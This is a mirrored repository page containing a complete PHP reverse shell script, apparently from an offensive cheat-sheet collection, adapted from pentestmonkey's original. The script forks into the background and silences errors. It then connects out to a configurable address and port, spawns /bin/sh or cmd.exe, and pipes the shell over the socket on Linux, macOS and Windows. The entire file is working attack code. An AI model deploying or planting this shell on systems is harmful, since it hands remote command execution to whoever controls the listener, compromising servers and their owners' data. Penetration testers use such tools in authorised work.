mirror of
https://github.com/d4t4s3c/Offensive-Reverse-Shell-Cheat-Sheet
synced 2025-03-14 21:36:56 +00:00
183 lines
9.2 KiB
PHP
183 lines
9.2 KiB
PHP
<?php
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// Copyright (c) 2020 Ivan Šincek
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// v2.6
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// Requires PHP v5.0.0 or greater.
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// Works on Linux OS, macOS, and Windows OS.
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// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
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class Shell {
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private $addr = null;
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private $port = null;
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private $os = null;
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private $shell = null;
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private $descriptorspec = array(
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0 => array('pipe', 'r'), // shell can read from STDIN
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1 => array('pipe', 'w'), // shell can write to STDOUT
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2 => array('pipe', 'w') // shell can write to STDERR
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);
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private $buffer = 1024; // read/write buffer size
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private $clen = 0; // command length
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private $error = false; // stream read/write error
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private $sdump = true; // script's dump
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public function __construct($addr, $port) {
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$this->addr = $addr;
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$this->port = $port;
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}
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private function detect() {
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$detected = true;
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$os = PHP_OS;
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if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
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$this->os = 'LINUX';
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$this->shell = '/bin/sh';
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} else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
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$this->os = 'WINDOWS';
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$this->shell = 'cmd.exe';
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} else {
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$detected = false;
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echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
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}
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return $detected;
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}
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private function daemonize() {
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$exit = false;
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if (!function_exists('pcntl_fork')) {
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echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
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} else if (($pid = @pcntl_fork()) < 0) {
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echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
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} else if ($pid > 0) {
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$exit = true;
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echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
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// once daemonized, you will actually no longer see the script's dump
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} else if (posix_setsid() < 0) {
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echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
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} else {
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echo "DAEMONIZE: Completed successfully!\n";
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}
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return $exit;
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}
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private function settings() {
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@error_reporting(0);
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@set_time_limit(0); // do not impose the script execution time limit
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@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
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}
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private function dump($data) {
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if ($this->sdump) {
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$data = str_replace('<', '<', $data);
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$data = str_replace('>', '>', $data);
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echo $data;
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}
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}
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private function read($stream, $name, $buffer) {
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if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
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$this->error = true; // set the global error flag
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echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";
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}
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return $data;
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}
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private function write($stream, $name, $data) {
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if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
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$this->error = true; // set the global error flag
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echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";
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}
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return $bytes;
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}
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// read/write method for non-blocking streams
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private function rw($input, $output, $iname, $oname) {
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while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
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if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
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$this->dump($data); // script's dump
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}
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}
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// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
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// we must read the exact byte length from a stream and not a single byte more
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private function brw($input, $output, $iname, $oname) {
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$size = fstat($input)['size'];
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if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
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// for some reason Windows OS pipes STDIN into STDOUT
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// we do not like that
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// so we need to discard the data from the stream
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while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
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$this->clen -= $bytes;
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$size -= $bytes;
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}
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}
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while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
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$size -= $bytes;
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$this->dump($data); // script's dump
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}
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}
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public function run() {
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if ($this->detect() && !$this->daemonize()) {
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$this->settings();
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// ----- SOCKET BEGIN -----
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$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
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if (!$socket) {
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echo "SOC_ERROR: {$errno}: {$errstr}\n";
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} else {
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stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
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// ----- SHELL BEGIN -----
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$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
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if (!$process) {
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echo "PROC_ERROR: Cannot start the shell\n";
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} else {
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foreach ($pipes as $pipe) {
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stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
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}
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// ----- WORK BEGIN -----
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$status = proc_get_status($process);
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@fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");
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do {
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$status = proc_get_status($process);
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if (feof($socket)) { // check for end-of-file on SOCKET
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echo "SOC_ERROR: Shell connection has been terminated\n"; break;
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} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
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echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
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} // use proc_get_status() instead
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$streams = array(
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'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
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'write' => null,
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'except' => null
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);
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$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
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if ($num_changed_streams === false) {
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echo "STRM_ERROR: stream_select() failed\n"; break;
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} else if ($num_changed_streams > 0) {
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if ($this->os === 'LINUX') {
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if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
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if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
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if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
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} else if ($this->os === 'WINDOWS') {
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// order is important
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if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
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if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
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if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
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}
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}
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} while (!$this->error);
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// ------ WORK END ------
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foreach ($pipes as $pipe) {
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fclose($pipe);
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}
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proc_close($process);
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}
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// ------ SHELL END ------
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fclose($socket);
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}
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// ------ SOCKET END ------
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}
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}
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}
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echo '<pre>';
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// change the host address and/or port number as necessary
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$sh = new Shell('127.0.0.1', 9000);
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$sh->run();
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unset($sh);
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// garbage collector requires PHP v5.3.0 or greater
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// @gc_collect_cycles();
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echo '</pre>';
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?>
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